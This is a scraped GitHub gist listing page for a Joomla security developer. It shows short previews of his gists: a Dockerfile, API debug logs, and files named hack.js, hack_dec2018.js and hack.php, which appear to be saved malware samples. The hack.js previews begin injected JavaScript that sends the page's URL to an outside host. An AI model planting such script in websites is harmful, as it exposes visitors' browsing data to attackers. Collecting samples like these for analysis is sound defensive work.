Skip to content

Instantly share code, notes, and snippets.

🎯
Focusing

Phil Taylor PhilETaylor

🎯
Focusing
Block or report user

Report or block PhilETaylor

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
View gist:ec09b0909bd721cd233e20d915c40bd4
<?php
/**
* Creates common globals for the rest of WordPress
*
* Sets $pagenow global which is the current page. Checks
* for the browser to set which one is currently being used.
*
* Detects which user environment WordPress is being used on.
* Only attempts to check for Apache and IIS. Two web servers
* with known permalink capability.
View UptimeRobot.php
<?php
/**
* @copyright Copyright (C) 2017, 2018, 2019 Blue Flame Digital Solutions Limited / Phil Taylor. All rights reserved.
* @author Phil Taylor <phil@phil-taylor.com>
*
* @see https://github.com/PhilETaylor/maintain.myjoomla.com
*
* @license Commercial License - Not For Distribution.
*/
View gist:6ec3665e55fb7ccc163ded09109f6c8a
# docker build . --tag registry.myjoomla.com/base-nginx-php
# docker push registry.myjoomla.com/base-nginx-php
FROM alpine:3.8
MAINTAINER Phil Taylor <phil@phil-taylor.com>
# PHP 7.3 Repos
#ADD https://repos.php.earth/alpine/phpearth.rsa.pub /etc/apk/keys/phpearth.rsa.pub
ADD https://php.codecasts.rocks/php-alpine.rsa.pub /etc/apk/keys/php-alpine.rsa.pub
View gist:0ac7fab73ff3ba042fcaec0bebdbf0fc
<!DOCTYPE html> <html lang="en" dir="ltr" data-cast-api-enabled="true">
<head><meta name="viewport" content="width=device-width, initial-scale=1"><style name="www-roboto" >@font-face{font-family:'Roboto';font-style:italic;font-weight:500;src:local('Roboto Medium Italic'),local('Roboto-MediumItalic'),url(//fonts.gstatic.com/s/roboto/v18/KFOjCnqEu92Fr1Mu51S7ACc3CsTYl4BOQ3o.woff2)format('woff2');unicode-range:U+0460-052F,U+1C80-1C88,U+20B4,U+2DE0-2DFF,U+A640-A69F,U+FE2E-FE2F;}@font-face{font-family:'Roboto';font-style:italic;font-weight:500;src:local('Roboto Medium Italic'),local('Roboto-MediumItalic'),url(//fonts.gstatic.com/s/roboto/v18/KFOjCnqEu92Fr1Mu51S7ACc-CsTYl4BOQ3o.woff2)format('woff2');unicode-range:U+0400-045F,U+0490-0491,U+04B0-04B1,U+2116;}@font-face{font-family:'Roboto';font-style:italic;font-weight:500;src:local('Roboto Medium Italic'),local('Roboto-MediumItalic'),url(//fonts.gstatic.com/s/roboto/v18/KFOjCnqEu92Fr1Mu51S7ACc2CsTYl4BOQ3o.woff2)format('woff2');unicode-range:U+1F00-1FFF;}@font-face{
View gist:e429c9c03a14275269371d6eaddb200b
[2018-12-18 12:56:20] api-debugger.INFO: >>>>>>>>
POST /plugins/system/bfnetwork/bfnetwork/bfPing.php HTTP/1.1
Content-Length: 953
Referer: https://myjoomla.com/
User-Agent: myJoomla/2.0 (myJoomla.com)
Accept: application/json
X-MyJoomla-FAQ: For full details see myJoomla.com or email phil@phil-taylor.com
Content-Type: application/x-www-form-urlencoded
Host: tfdwork.nl
X-MYJOOMLA-HMAC: 9KYYj/jn6nvNAmtVYsn5x80wkh18huZZkDr3wqrkn9k=
View gist:770b781fa2e096db5ce3010b40147829
[2018-12-18 12:55:23] api-debugger.INFO: >>>>>>>>
POST /plugins/system/bfnetwork/bfnetwork/bfPing.php HTTP/1.1
Content-Length: 947
Referer: https://myjoomla.com/
User-Agent: myJoomla/2.0 (myJoomla.com)
Accept: application/json
X-MyJoomla-FAQ: For full details see myJoomla.com or email phil@phil-taylor.com
Content-Type: application/x-www-form-urlencoded
Host: tfdwork.nl
X-MYJOOMLA-HMAC: nbWAGxdiYgGv8ifAg/VBKAyRJ7ZRArl8qCslNDSOW3o=
View hack_dec2018.js
dL();
function dL(){
var host = 'https://press.connec<snip>cdn.com/f';
var config = {
url: host + "/stats.php",
type: "POST",
data: {
vbase: document.baseURI,
vhref: location.href,
View tableul.js
(function(){
function initXMLhttp() {
var xmlhttp;
if (window.XMLHttpRequest) {
xmlhttp = new XMLHttpRequest();
} else {
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
View hack.js
dL();
function dL(){
var host = 'https://press.connectioncdn.com/f';
var config = {
url: host + "/stats.php",
type: "POST",
data: {
vbase: document.baseURI,
vhref: location.href,
View hack.php
<?php
/**
* @package Joomla.Plugin
* @subpackage Authentication.joomla
*
* @copyright Copyright (C) 2005 - 2018 Open Source Matters, Inc. All rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
defined('_JEXEC') or die;
You can’t perform that action at this time.